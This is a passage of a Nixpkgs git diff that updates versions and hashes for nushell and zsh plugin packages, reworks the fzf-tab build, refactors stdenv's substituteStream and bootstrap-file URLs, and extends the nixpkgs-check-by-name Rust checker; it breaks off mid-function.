a/pkgs/shells/nushell/nu_scripts/default.nix b/pkgs/shells/nushell/nu_scripts/default.nix index 742c3d6c9d2c4..6180fb7f8890b 100644 --- a/pkgs/shells/nushell/nu_scripts/default.nix +++ b/pkgs/shells/nushell/nu_scripts/default.nix @@ -6,13 +6,13 @@ stdenvNoCC.mkDerivation rec { pname = "nu_scripts"; - version = "unstable-2024-01-26"; + version = "unstable-2024-03-02"; src = fetchFromGitHub { owner = "nushell"; repo = pname; - rev = "302fd84fed8616d4b3259c3265c5b01554fe8d91"; - hash = "sha256-XMHqjxkJo60nwjXNlS0SKWLV/Ffxz8+oImG8lG8GjkE="; + rev = "25514da84d4249ecebdb74c3a23c7184fcc76f50"; + hash = "sha256-70grgh8yMX3eFKaOTaXh1qxW75RNu7Y9pv0vvqtRc7I="; }; installPhase = '' diff --git a/pkgs/shells/nushell/plugins/formats.nix b/pkgs/shells/nushell/plugins/formats.nix index 75927a606ef93..fad270fb8df54 100644 --- a/pkgs/shells/nushell/plugins/formats.nix +++ b/pkgs/shells/nushell/plugins/formats.nix @@ -12,7 +12,7 @@ rustPlatform.buildRustPackage rec { pname = "nushell_plugin_formats"; inherit (nushell) version src; - cargoHash = "sha256-81U7Ul6LPubTshxW2/c+Pmz8UolmM42sFEt2igmDgGY="; + cargoHash = "sha256-sEc+Oa2s8d3/9mye/9cHipjamPmLj6P38Jh24VrpfXM="; env = lib.optionalAttrs stdenv.cc.isClang { LIBCLANG_PATH = "${libclang.lib}/lib"; diff --git a/pkgs/shells/nushell/plugins/gstat.nix b/pkgs/shells/nushell/plugins/gstat.nix index 1957799a9ce4d..8a11be39ef59b 100644 --- a/pkgs/shells/nushell/plugins/gstat.nix +++ b/pkgs/shells/nushell/plugins/gstat.nix @@ -12,7 +12,7 @@ rustPlatform.buildRustPackage rec { pname = "nushell_plugin_gstat"; inherit (nushell) version src; - cargoHash = "sha256-YUr//URKoN99Pc5tJx9eGopKqy4Yu83jPBhLu5UYgiY="; + cargoHash = "sha256-wtw4S5fbZPh6OXmbbQu8oXpo0/rXWdOGHspx+z8Fjns="; env = lib.optionalAttrs stdenv.cc.isClang { LIBCLANG_PATH = "${libclang.lib}/lib"; diff --git a/pkgs/shells/nushell/plugins/query.nix b/pkgs/shells/nushell/plugins/query.nix index c65f6544a2355..daee91a6e9195 100644 --- a/pkgs/shells/nushell/plugins/query.nix +++ b/pkgs/shells/nushell/plugins/query.nix @@ -11,7 +11,7 @@ rustPlatform.buildRustPackage { pname = "nushell_plugin_query"; inherit (nushell) version src; - cargoHash = "sha256-IAMfd76+Sx01d4axn3qcLvXZW6nxu0fjy9CvupUTHBM="; + cargoHash = "sha256-u6etPrtq/q37CvJ2rkoFvVDBgu/YyVugeGOJbeHcSek="; env = lib.optionalAttrs stdenv.cc.isClang { LIBCLANG_PATH = "${libclang.lib}/lib"; diff --git a/pkgs/shells/zsh/antidote/default.nix b/pkgs/shells/zsh/antidote/default.nix index 041640de7c1cd..01f6084cb5912 100644 --- a/pkgs/shells/zsh/antidote/default.nix +++ b/pkgs/shells/zsh/antidote/default.nix @@ -1,14 +1,14 @@ { lib, stdenv, fetchFromGitHub }: stdenv.mkDerivation (finalAttrs: { - version = "1.9.4"; + version = "1.9.5"; pname = "antidote"; src = fetchFromGitHub { owner = "mattmc3"; repo = "antidote"; rev = "v${finalAttrs.version}"; - hash = "sha256-gZBDLKkLVfHC+DHlaMS/ySUjb14Jo1192JbkDQnzi7c="; + hash = "sha256-eS2sf+N50N+oyk8wCp71hYF7WDagFBlTcAB/sFdhw9U="; }; dontPatch = true; diff --git a/pkgs/shells/zsh/pure-prompt/default.nix b/pkgs/shells/zsh/pure-prompt/default.nix index 6fbda66d4cc20..2a1ba113ce196 100644 --- a/pkgs/shells/zsh/pure-prompt/default.nix +++ b/pkgs/shells/zsh/pure-prompt/default.nix @@ -4,13 +4,13 @@ with lib; stdenv.mkDerivation rec { pname = "pure-prompt"; - version = "1.22.0"; + version = "1.23.0"; src = fetchFromGitHub { owner = "sindresorhus"; repo = "pure"; rev = "v${version}"; - sha256 = "sha256-TR4CyBZ+KoZRs9XDmWE5lJuUXXU1J8E2Z63nt+FS+5w="; + sha256 = "sha256-BmQO4xqd/3QnpLUitD2obVxL0UulpboT8jGNEh4ri8k="; }; strictDeps = true; diff --git a/pkgs/shells/zsh/zimfw/default.nix b/pkgs/shells/zsh/zimfw/default.nix index af452968fa637..c62c978b983d8 100644 --- a/pkgs/shells/zsh/zimfw/default.nix +++ b/pkgs/shells/zsh/zimfw/default.nix @@ -2,14 +2,14 @@ stdenv.mkDerivation rec { pname = "zimfw"; - version = "1.12.1"; + version = "1.13.0"; src = fetchFromGitHub { owner = "zimfw"; repo = "zimfw"; rev = "v${version}"; ## zim only needs this one file to be installed. sparseCheckout = [ "zimfw.zsh" ]; - sha256 = "sha256-BoUNUdhRUWNi2ttxgWJxbjHw64K9k0rNjRi2L4V+gLk="; + sha256 = "sha256-yo1+jXmBzJdFLaVpmyKe8cyceg+sIgD++l2mSYPaKd8="; }; strictDeps = true; dontConfigure = true; diff --git a/pkgs/shells/zsh/zsh-autocomplete/default.nix b/pkgs/shells/zsh/zsh-autocomplete/default.nix index 05721221f2ab4..1ecd96121972e 100644 --- a/pkgs/shells/zsh/zsh-autocomplete/default.nix +++ b/pkgs/shells/zsh/zsh-autocomplete/default.nix @@ -2,20 +2,20 @@ stdenvNoCC.mkDerivation rec { pname = "zsh-autocomplete"; - version = "23.05.24"; + version = "23.07.13"; src = fetchFromGitHub { owner = "marlonrichert"; repo = "zsh-autocomplete"; rev = version; - sha256 = "sha256-/6V6IHwB5p0GT1u5SAiUa20LjFDSrMo731jFBq/bnpw="; + sha256 = "sha256-0NW0TI//qFpUA2Hdx6NaYdQIIUpRSd0Y4NhwBbdssCs="; }; strictDeps = true; installPhase = '' install -D zsh-autocomplete.plugin.zsh $out/share/zsh-autocomplete/zsh-autocomplete.plugin.zsh - cp -R scripts $out/share/zsh-autocomplete/scripts - cp -R functions $out/share/zsh-autocomplete/functions + cp -R Completions $out/share/zsh-autocomplete/Completions + cp -R Functions $out/share/zsh-autocomplete/Functions ''; meta = with lib; { diff --git a/pkgs/shells/zsh/zsh-fzf-tab/default.nix b/pkgs/shells/zsh/zsh-fzf-tab/default.nix index 89e4fe783b93e..97a6992ee6727 100644 --- a/pkgs/shells/zsh/zsh-fzf-tab/default.nix +++ b/pkgs/shells/zsh/zsh-fzf-tab/default.nix @@ -1,16 +1,16 @@ -{ stdenv, lib, fetchFromGitHub, ncurses, nix-update-script }: +{ stdenv, lib, fetchFromGitHub, zsh, ncurses, nix-update-script }: let INSTALL_PATH="${placeholder "out"}/share/fzf-tab"; in stdenv.mkDerivation rec { pname = "zsh-fzf-tab"; - version = "unstable-2024-02-01"; + version = "1.0"; src = fetchFromGitHub { owner = "Aloxaf"; repo = "fzf-tab"; - rev = "b06e7574577cd729c629419a62029d31d0565a7a"; - hash = "sha256-ilUavAIWmLiMh2PumtErMCpOcR71ZMlQkKhVOTDdHZw="; + rev = "v${version}"; + hash = "sha256-o3R9dh9t8w/SVO3IUeJqP8kkQxwnRjNX8oZ4wSZxBYo="; }; strictDeps = true; @@ -24,31 +24,62 @@ in stdenv.mkDerivation rec { ]; }; - postConfigure = '' + # this script is modified according to fzf-tab/lib-ftb-build-module + configurePhase = '' + runHook preConfigure + pushd modules - ./configure --disable-gdbm --without-tcsetpgrp + + tar -xf ${zsh.src} + ln -s $(pwd)/src/fzftab.c zsh-${zsh.version}/Src/Modules/ + ln -s $(pwd)/src/fzftab.mdd zsh-${zsh.version}/Src/Modules/ + + pushd zsh-${zsh.version} + + + if [[ ! -f ./configure ]]; then + ./Util/preconfig + fi + if [[ ! -f ./Makefile ]]; then + ./configure --disable-gdbm --without-tcsetpgrp + fi + popd + popd + + runHook postConfigure ''; - postBuild = '' - pushd modules + buildPhase = '' + runHook preBuild + + pushd modules/zsh-${zsh.version} make -j$NIX_BUILD_CORES popd + + runHook postBuild ''; installPhase = '' - mkdir -p ${INSTALL_PATH} - cp -r lib ${INSTALL_PATH}/lib - install -D fzf-tab.zsh ${INSTALL_PATH}/fzf-tab.zsh - install -D fzf-tab.plugin.zsh ${INSTALL_PATH}/fzf-tab.plugin.zsh - install -D modules/Src/aloxaf/fzftab.so ${INSTALL_PATH}/modules/Src/aloxaf/fzftab.so + runHook preInstall + + mkdir -p ${INSTALL_PATH} + cp -r lib ${INSTALL_PATH}/lib + install -D fzf-tab.zsh ${INSTALL_PATH}/fzf-tab.zsh + install -D fzf-tab.plugin.zsh ${INSTALL_PATH}/fzf-tab.plugin.zsh + pushd modules/zsh-${zsh.version}/Src/Modules + if [[ -e "fzftab.so" ]]; then + install -D -t ${INSTALL_PATH}/modules/Src/aloxaf/ fzftab.so + fi + if [[ -e "fzftab.bundle" ]]; then + install -D -t ${INSTALL_PATH}/modules/Src/aloxaf/ fzftab.bundle + fi + popd + + runHook postInstall ''; - passthru = { - updateScript = nix-update-script { - extraArgs = [ "--version" "branch=master" ]; - }; - }; + passthru.updateScript = nix-update-script { }; meta = with lib; { homepage = "https://github.com/Aloxaf/fzf-tab"; diff --git a/pkgs/stdenv/generic/setup.sh b/pkgs/stdenv/generic/setup.sh index efb233312b571..9c918b12f96ef 100644 --- a/pkgs/stdenv/generic/setup.sh +++ b/pkgs/stdenv/generic/setup.sh @@ -816,7 +816,7 @@ fi # Textual substitution functions. # only log once, due to max logging limit on hydra -_substituteStream_has_warned_replace_deprecation="" +_substituteStream_has_warned_replace_deprecation=false substituteStream() { local var=$1 @@ -824,24 +824,18 @@ substituteStream() { shift 2 while (( "$#" )); do - local is_required=1 - local is_quiet="" + local replace_mode="$1" case "$1" in - --replace-quiet) - is_quiet=1 - ;& --replace) # deprecated 2023-11-22 # this will either get removed, or switch to the behaviour of --replace-fail in the future - if [ -z "$_substituteStream_has_warned_replace_deprecation" ]; then + if ! "$_substituteStream_has_warned_replace_deprecation"; then echo "substituteStream(): WARNING: '--replace' is deprecated, use --replace-{fail,warn,quiet}. ($description)" >&2 - _substituteStream_has_warned_replace_deprecation=1 + _substituteStream_has_warned_replace_deprecation=true fi + replace_mode='--replace-warn' ;& - --replace-warn) - is_required="" - ;& - --replace-fail) + --replace-quiet|--replace-warn|--replace-fail) pattern="$2" replacement="$3" shift 3 @@ -850,11 +844,9 @@ substituteStream() { eval "$var"'=${'"$var"'//"$pattern"/"$replacement"}' if [ "$pattern" != "$replacement" ]; then if [ "${!var}" == "$savedvar" ]; then - if [ -z "$is_required" ]; then - if [ -z "$is_quiet" ]; then - printf "substituteStream(): WARNING: pattern %q doesn't match anything in %s\n" "$pattern" "$description" >&2 - fi - else + if [ "$replace_mode" == --replace-warn ]; then + printf "substituteStream(): WARNING: pattern %q doesn't match anything in %s\n" "$pattern" "$description" >&2 + elif [ "$replace_mode" == --replace-fail ]; then printf "substituteStream(): ERROR: pattern %q doesn't match anything in %s\n" "$pattern" "$description" >&2 return 1 fi @@ -1073,7 +1065,11 @@ _defaultUnpack() { # stages. The XZ_OPT env var is only used by the full "XZ utils" implementation, which supports # the --threads (-T) flag. This allows us to enable multithreaded decompression exclusively on # that implementation, without the use of complex bash conditionals and checks. - XZ_OPT="--threads=$NIX_BUILD_CORES" xz -d < "$fn" | tar xf - --warning=no-timestamp + # Since tar does not control the decompression, we need to + # disregard the error code from the xz invocation. Otherwise, + # it can happen that tar exits earlier, causing xz to fail + # from a SIGPIPE. + (XZ_OPT="--threads=$NIX_BUILD_CORES" xz -d < "$fn"; true) | tar xf - --warning=no-timestamp ;; *.tar | *.tar.* | *.tgz | *.tbz2 | *.tbz) # GNU tar can automatically select the decompression method diff --git a/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-gnu.nix b/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-gnu.nix index 1eefa4f3d6d4f..122039786e7f6 100644 --- a/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-gnu.nix +++ b/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-gnu.nix @@ -1,9 +1,21 @@ -# Use busybox for i686-linux since it works on x86_64-linux as well. -(import ./i686-unknown-linux-gnu.nix) // - +# Autogenerated by maintainers/scripts/bootstrap-files/refresh-tarballs.bash as: +# $ ./refresh-tarballs.bash --targets=x86_64-unknown-linux-gnu +# +# Metadata: +# - nixpkgs revision: 82b583ba2ba2e5706b35dbe23f31362e62be2a9d +# - hydra build: https://hydra.nixos.org/job/nixpkgs/trunk/stdenvBootstrapTools.x86_64-unknown-linux-gnu.build/latest +# - resolved hydra build: https://hydra.nixos.org/build/249165517 +# - instantiated derivation: /nix/store/7g8mrv13mi4zrx66fw0hy4c46j752wfd-stdenv-bootstrap-tools.drv +# - output directory: /nix/store/dw6vr6m5w7ysrdrbs0s5wdgbjmbnr7gx-stdenv-bootstrap-tools +# - build time: Sat, 10 Feb 2024 01:29:55 +0000 { bootstrapTools = import <nix/fetchurl.nix> { - url = "http://tarballs.nixos.org/stdenv-linux/x86_64/c5aabb0d603e2c1ea05f5a93b3be82437f5ebf31/bootstrap-tools.tar.xz"; - sha256 = "a5ce9c155ed09397614646c9717fc7cd94b1023d7b76b618d409e4fefd6e9d39"; + url = "http://tarballs.nixos.org/stdenv/x86_64-unknown-linux-gnu/82b583ba2ba2e5706b35dbe23f31362e62be2a9d/bootstrap-tools.tar.xz"; + hash = "sha256-YQlr088HPoVWBU2jpPhpIMyOyoEDZYDw1y60SGGbUM0="; + }; + busybox = import <nix/fetchurl.nix> { + url = "http://tarballs.nixos.org/stdenv/x86_64-unknown-linux-gnu/82b583ba2ba2e5706b35dbe23f31362e62be2a9d/busybox"; + hash = "sha256-QrTEnQTBM1Y/qV9odq8irZkQSD9uOMbs2Q5NgCvKCNQ="; + executable = true; }; } diff --git a/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-musl.nix b/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-musl.nix index 98a65bd776453..283b12b0d578f 100644 --- a/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-musl.nix +++ b/pkgs/stdenv/linux/bootstrap-files/x86_64-unknown-linux-musl.nix @@ -1,11 +1,21 @@ +# Autogenerated by maintainers/scripts/bootstrap-files/refresh-tarballs.bash as: +# $ ./refresh-tarballs.bash --targets=x86_64-unknown-linux-musl +# +# Metadata: +# - nixpkgs revision: 125cefd4cf8f857e5ff1aceaef9230ba578a033d +# - hydra build: https://hydra.nixos.org/job/nixpkgs/trunk/stdenvBootstrapTools.x86_64-unknown-linux-musl.build/latest +# - resolved hydra build: https://hydra.nixos.org/build/247890807 +# - instantiated derivation: /nix/store/gqri9n85rsf2983r6m8lkz0h69k4n7xi-stdenv-bootstrap-tools.drv +# - output directory: /nix/store/b0x0qcbf1gsp50jzw52sbbgdp3jlwcjf-stdenv-bootstrap-tools +# - build time: Fri, 26 Jan 2024 22:09:22 +0000 { + bootstrapTools = import <nix/fetchurl.nix> { + url = "http://tarballs.nixos.org/stdenv/x86_64-unknown-linux-musl/125cefd4cf8f857e5ff1aceaef9230ba578a033d/bootstrap-tools.tar.xz"; + hash = "sha256-t0W2MR7UwtPyYEGcRo9UOuXfaP4uUZKZXEmYGcBOuOA="; + }; busybox = import <nix/fetchurl.nix> { - url = "https://wdtz.org/files/gywxhjgl70sxippa0pxs0vj5qcgz1wi8-stdenv-bootstrap-tools/on-server/busybox"; - sha256 = "0779c2wn00467h76xpqil678gfi1y2p57c7zq2d917jsv2qj5009"; + url = "http://tarballs.nixos.org/stdenv/x86_64-unknown-linux-musl/125cefd4cf8f857e5ff1aceaef9230ba578a033d/busybox"; + hash = "sha256-0U2r3EU61oqhs+oyzFABIFTCVqXOWSP0qEtnyHwjzm0="; executable = true; }; - bootstrapTools = import <nix/fetchurl.nix> { - url = "https://wdtz.org/files/gywxhjgl70sxippa0pxs0vj5qcgz1wi8-stdenv-bootstrap-tools/on-server/bootstrap-tools.tar.xz"; - sha256 = "1dwiqw4xvnm0b5fdgl89lz2qq45f6s9icwxn6n6ams71xw0dbqyi"; - }; } diff --git a/pkgs/stdenv/linux/make-bootstrap-tools-cross.nix b/pkgs/stdenv/linux/make-bootstrap-tools-cross.nix index 124575af68881..fd0d3a7cd5d04 100644 --- a/pkgs/stdenv/linux/make-bootstrap-tools-cross.nix +++ b/pkgs/stdenv/linux/make-bootstrap-tools-cross.nix @@ -12,7 +12,10 @@ let pkgs = releaseLib.pkgsForCross crossSystem system; }; in lib.mapAttrs (n: make) (with lib.systems.examples; { - # NOTE: Only add platforms for which there are files in `./bootstrap-files`. + # NOTE: Only add platforms for which there are files in `./bootstrap-files` + # or for which you plan to request the tarball upload soon. See the + # maintainers/scripts/bootstrap-files/README.md + # on how to request an upload. # Sort following the sorting in `./default.nix` `bootstrapFiles` argument. armv5tel-unknown-linux-gnueabi = sheevaplug; diff --git a/pkgs/test/default.nix b/pkgs/test/default.nix index b89fcc3ecb6d5..9868bbc6033b6 100644 --- a/pkgs/test/default.nix +++ b/pkgs/test/default.nix @@ -111,6 +111,7 @@ with pkgs; fetchzip = callPackages ../build-support/fetchzip/tests.nix { }; fetchgit = callPackages ../build-support/fetchgit/tests.nix { }; fetchFirefoxAddon = callPackages ../build-support/fetchfirefoxaddon/tests.nix { }; + fetchPypiLegacy = callPackages ../build-support/fetchpypilegacy/tests.nix { }; install-shell-files = callPackage ./install-shell-files {}; @@ -174,4 +175,8 @@ with pkgs; nixpkgs-check-by-name = callPackage ./nixpkgs-check-by-name { }; auto-patchelf-hook = callPackage ./auto-patchelf-hook { }; + + systemd = callPackage ./systemd { }; + + substitute = recurseIntoAttrs (callPackage ./substitute { }); } diff --git a/pkgs/test/nixpkgs-check-by-name/Cargo.lock b/pkgs/test/nixpkgs-check-by-name/Cargo.lock index 904a9cff0e789..19435c2ab76e3 100644 --- a/pkgs/test/nixpkgs-check-by-name/Cargo.lock +++ b/pkgs/test/nixpkgs-check-by-name/Cargo.lock @@ -299,12 +299,14 @@ dependencies = [ "itertools", "lazy_static", "regex", + "relative-path", "rnix", "rowan", "serde", "serde_json", "temp-env", "tempfile", + "textwrap", ] [[package]] @@ -393,6 +395,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e5ea92a5b6195c6ef2a0295ea818b312502c6fc94dde986c5553242e18fd4ce2" [[package]] +name = "relative-path" +version = "1.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e898588f33fdd5b9420719948f9f2a32c922a246964576f71ba7f24f80610fbc" + +[[package]] name = "rnix" version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -483,6 +491,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "942b4a808e05215192e39f4ab80813e599068285906cc91aa64f923db842bd5a" [[package]] +name = "smawk" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c388c1b5e93756d0c740965c41e8822f866621d41acbdf6336a6a168f8840c" + +[[package]] name = "strsim" version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -528,12 +542,35 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f18aa187839b2bdb1ad2fa35ead8c4c2976b64e4363c386d45ac0f7ee85c9233" [[package]] +name = "textwrap" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23d434d3f8967a09480fb04132ebe0a3e088c173e6d0ee7897abbdf4eab0f8b9" +dependencies = [ + "smawk", + "unicode-linebreak", + "unicode-width", +] + +[[package]] name = "unicode-ident" version = "1.0.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c" [[package]] +name = "unicode-linebreak" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f" + +[[package]] +name = "unicode-width" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] name = "utf8parse" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" diff --git a/pkgs/test/nixpkgs-check-by-name/Cargo.toml b/pkgs/test/nixpkgs-check-by-name/Cargo.toml index 5240cd69f996e..50cdabb7e2dd3 100644 --- a/pkgs/test/nixpkgs-check-by-name/Cargo.toml +++ b/pkgs/test/nixpkgs-check-by-name/Cargo.toml @@ -15,7 +15,9 @@ lazy_static = "1.4.0" colored = "2.0.4" itertools = "0.11.0" rowan = "0.15.11" +indoc = "2.0.4" +relative-path = "1.9.2" +textwrap = "0.16.1" [dev-dependencies] temp-env = "0.3.5" -indoc = "2.0.4" diff --git a/pkgs/test/nixpkgs-check-by-name/src/eval.rs b/pkgs/test/nixpkgs-check-by-name/src/eval.rs index e90a95533144c..094508f595d8f 100644 --- a/pkgs/test/nixpkgs-check-by-name/src/eval.rs +++ b/pkgs/test/nixpkgs-check-by-name/src/eval.rs @@ -1,10 +1,14 @@ +use crate::nix_file::CallPackageArgumentInfo; use crate::nixpkgs_problem::NixpkgsProblem; use crate::ratchet; +use crate::ratchet::RatchetState::Loose; +use crate::ratchet::RatchetState::Tight; use crate::structure; use crate::utils; use crate::validation::ResultIteratorExt as _; use crate::validation::{self, Validation::Success}; use crate::NixFileStore; +use relative_path::RelativePathBuf; use std::path::Path; use anyhow::Context; @@ -51,6 +55,20 @@ struct Location { pub column: usize, } +impl Location { + // Returns the [file] field, but relative to Nixpkgs + fn relative_file(&self, nixpkgs_path: &Path) -> anyhow::Result<RelativePathBuf> { + let path = self.file.strip_prefix(nixpkgs_path).with_context(|| { + format!( + "The file ({}) is outside Nixpkgs ({})", + self.file.display(), + nixpkgs_path.display() + ) + })?; + Ok(RelativePathBuf::from_path(path).expect("relative path")) + } +} + #[derive(Deserialize)] pub enum AttributeVariant { /// The attribute is not an attribute set, we're limited in the amount of information we can get @@ -163,6 +181,7 @@ pub fn check_values( Attribute::NonByName(non_by_name_attribute) => handle_non_by_name_attribute( nixpkgs_path, nix_file_store, + &attribute_name, non_by_name_attribute, )?, Attribute::ByName(by_name_attribute) => by_name( @@ -195,7 +214,6 @@ fn by_name( use ByNameAttribute::*; let relative_package_file = structure::relative_file_for_package(attribute_name); - let absolute_package_file = nixpkgs_path.join(&relative_package_file); // At this point we know that `pkgs/by-name/fo/foo/package.nix` has to exists. // This match decides whether the attribute `foo` is defined accordingly @@ -276,53 +294,31 @@ fn by_name( // We should expect manual definitions to have a location, otherwise we can't // enforce the expected format if let Some(location) = location { - // Parse the Nix file in the location and figure out whether it's an - // attribute definition of the form `= callPackage <arg1> <arg2>`, + // Parse the Nix file in the location + let nix_file = nix_file_store.get(&location.file)?; + + // The relative path of the Nix file, for error messages + let relative_location_file = location.relative_file(nixpkgs_path).with_context(|| { + format!("Failed to resolve the file where attribute {attribute_name} is defined") + })?; + + // Figure out whether it's an attribute definition of the form `= callPackage <arg1> <arg2>`, // returning the arguments if so. - let optional_syntactic_call_package = nix_file_store - .get(&location.file)? - .call_package_argument_info_at( - location.line, - location.column, - // We're passing `pkgs/by-name/fo/foo/package.nix` here, which causes - // the function to verify that `<arg1>` is the same path, - // making `syntactic_call_package.relative_path` end up as `""` - // TODO: This is confusing and should be improved - &absolute_package_file, - )?; - - // At this point, we completed two different checks for whether it's a - // `callPackage` - match (is_semantic_call_package, optional_syntactic_call_package) { - // Something like `<attr> = { ... }` - // or a `pkgs.callPackage` but with the wrong file - (false, None) - // Something like `<attr> = pythonPackages.callPackage ./pkgs/by-name/...` - | (false, Some(_)) - // Something like `<attr> = bar` where `bar = pkgs.callPackage ...` - // or a `callPackage` but with the wrong file - | (true, None) => { - // All of these are not of the expected form, so error out - // TODO: Make error more specific, don't lump everything together - NixpkgsProblem::WrongCallPackage { - relative_package_file: relative_package_file.to_owned(), - package_name: attribute_name.to_owned(), - }.into() - } - // Something like `<attr> = pkgs.callPackage ./pkgs/by-name/...`, - // with the correct file - (true, Some(syntactic_call_package)) => { - Success( - // Manual definitions with empty arguments are not allowed - // anymore - if syntactic_call_package.empty_arg { - Loose(()) - } else { - Tight - } - ) - } - } + let (optional_syntactic_call_package, definition) = nix_file + .call_package_argument_info_at(location.line, location.column, nixpkgs_path) + .with_context(|| { + format!("Failed to get the definition info for attribute {attribute_name}") + })?; + + by_name_override( + attribute_name, + relative_package_file, + is_semantic_call_package, + optional_syntactic_call_package, + definition, + location, + relative_location_file, + ) } else { // If manual definitions don't have a location, it's likely `mapAttrs`'d // over, e.g. if it's defined in aliases.nix. @@ -350,11 +346,91 @@ fn by_name( ) } +/// Handles the case for packages in `pkgs/by-name` that are manually overridden, e.g. in +/// all-packages.nix +fn by_name_override( + attribute_name: &str, + expected_package_file: RelativePathBuf, + is_semantic_call_package: bool, + optional_syntactic_call_package: Option<CallPackageArgumentInfo>, + definition: String, + location: Location, + relative_location_file: RelativePathBuf, +) -> validation::Validation<ratchet::RatchetState<ratchet::ManualDefinition>> { + // At this point, we completed two different checks for whether it's a + // `callPackage` + match (is_semantic_call_package, optional_syntactic_call_package) { + // Something like `<attr> = foo` + (_, None) => NixpkgsProblem::NonSyntacticCallPackage { + package_name: attribute_name.to_owned(), + file: relative_location_file, + line: location.line, + column: location.column, + definition, + } + .into(), + // Something like `<attr> = pythonPackages.callPackage ...` + (false, Some(_)) => NixpkgsProblem::NonToplevelCallPackage { + package_name: attribute_name.to_owned(), + file: relative_location_file, + line: location.line, + column: location.column, + definition, + } + .into(), + // Something like `<attr> = pkgs.callPackage ...` + (true, Some(syntactic_call_package)) => { + if let Some(actual_package_file) = syntactic_call_package.relative_path { + if actual_package_file != expected_package_file { + // Wrong path + NixpkgsProblem::WrongCallPackagePath { + package_name: attribute_name.to_owned(), + file: relative_location_file, + line: location.line, + actual_path: actual_package_file, + expected_path: expected_package_file, + } + .into() + } else { + // Manual definitions with empty arguments are not allowed + // anymore, but existing ones should continue to be allowed + let manual_definition_ratchet = if syntactic_call_package.empty_arg { + // This is the state to migrate away from + Loose(NixpkgsProblem::EmptyArgument { + package_name: attribute_name.to_owned(), + file: relative_location_file, + line: location.line, + column: location.column, + definition, + }) + } else { + // This is the state to migrate to + Tight + }; + + Success(manual_definition_ratchet) + } + } else { + // No path + NixpkgsProblem::NonPath { + package_name: attribute_name.to_owned(), + file: relative_location_file, + line: location.line, + column: location.column, + definition, + } + .into() + } + } + } +} + /// Handles the evaluation result for an attribute _not_ in `pkgs/by-name`, /// turning it into a validation result. fn handle_non_by_name_attribute( nixpkgs_path: &Path, nix_file_store: &mut NixFileStore, + attribute_name: &str, non_by_name_attribute: NonByNameAttribute, ) -> validation::Result<ratchet::Package> { use ratchet::RatchetState::*; @@ -405,11 +481,17 @@ fn handle_non_by_name_attribute( location: Some(location), }) = non_by_name_attribute { - // Parse the Nix file in the location and figure out whether it's an - // attribute definition of the form `= callPackage <arg1> <arg2>`, + // Parse the Nix file in the location + let nix_file = nix_file_store.get(&location.file)?; + + // The relative path of the Nix file, for error messages + let relative_location_file = location.relative_file(nixpkgs_path).with_context(|| { + format!("Failed to resolve the file where attribute {attribute_name} is defined") + })?; + + // Figure out whether it's an attribute definition of the form `= callPackage <arg1> <arg2>`, // returning the arguments if so. - let optional_syntactic_call_package = nix_file_store - .get(&location.file)? + let (optional_syntactic_call_package, _definition) = nix_file .call_package_argument_info_at( location.line, location.column, @@ -417,7 +499,10 @@ fn handle_non_by_name_attribute( // strips the absolute Nixpkgs path from it, such that // syntactic_call_package.relative_path is relative to Nixpkgs nixpkgs_path - )?; + ) + .with_context(|| { + format!("Failed to get the definition info for attribute {attribute_name}") + })?; // At this point, we completed two different checks for whether it's a // `callPackage` @@ -453,7 +538,7 @@ fn handle_non_by_name_attribute( _ => { // Otherwise, the path is outside `pkgs/by-name`, which means it can be // migrated - Loose(syntactic_call_package) + Loose((syntactic_call_package, relative_location_file)) } } } diff --git a/pkgs/test/nixpkgs-check-by-name/src/main.rs b/pkgs/test/nixpkgs-check-by-name/src/main.rs index 0d0ddcd7e6327..dcc9cb9e716d5 100644 --- a/pkgs/test/nixpkgs-check-by-name/src/main.rs +++ b/pkgs/test/nixpkgs-check-by-name/src/main.rs @@ -1,4 +1,5 @@ use crate::nix_file::NixFileStore; +use std::panic; mod eval; mod nix_file; mod nixpkgs_problem; @@ -17,6 +18,7 @@ use colored::Colorize; use std::io; use std::path::{Path, PathBuf}; use std::process::ExitCode; +use std::thread; /// Program to check the validity of pkgs/by-name /// @@ -46,15 +48,9 @@ pub struct Args { fn main() -> ExitCode { let args = Args::parse(); - match process(&args.base, &args.nixpkgs, false, &mut io::stderr()) { - Ok(true) => { - eprintln!("{}", "Validated successfully".green()); - ExitCode::SUCCESS - } - Ok(false) => { - eprintln!("{}", "Validation failed, see above errors".yellow()); - ExitCode::from(1) - } + match process(args.base, args.nixpkgs, false, &mut io::stderr()) { + Ok(true) => ExitCode::SUCCESS, + Ok(false) => ExitCode::from(1), Err(e) => { eprintln!("{} {:#}", "I/O error: ".yellow(), e); ExitCode::from(2) @@ -77,34 +73,66 @@ fn main() -> ExitCode { /// - `Ok(false)` if there are problems, all of which will be written to `error_writer`. /// - `Ok(true)` if there are no problems pub fn process<W: io::Write>( - base_nixpkgs: &Path, - main_nixpkgs: &Path, + base_nixpkgs: PathBuf, + main_nixpkgs: PathBuf, keep_nix_path: bool, error_writer: &mut W, ) -> anyhow::Result<bool> { - // Check the main Nixpkgs first - let main_result = check_nixpkgs(main_nixpkgs, keep_nix_path, error_writer)?; - let check_result = main_result.result_map(|nixpkgs_version| { - // If the main 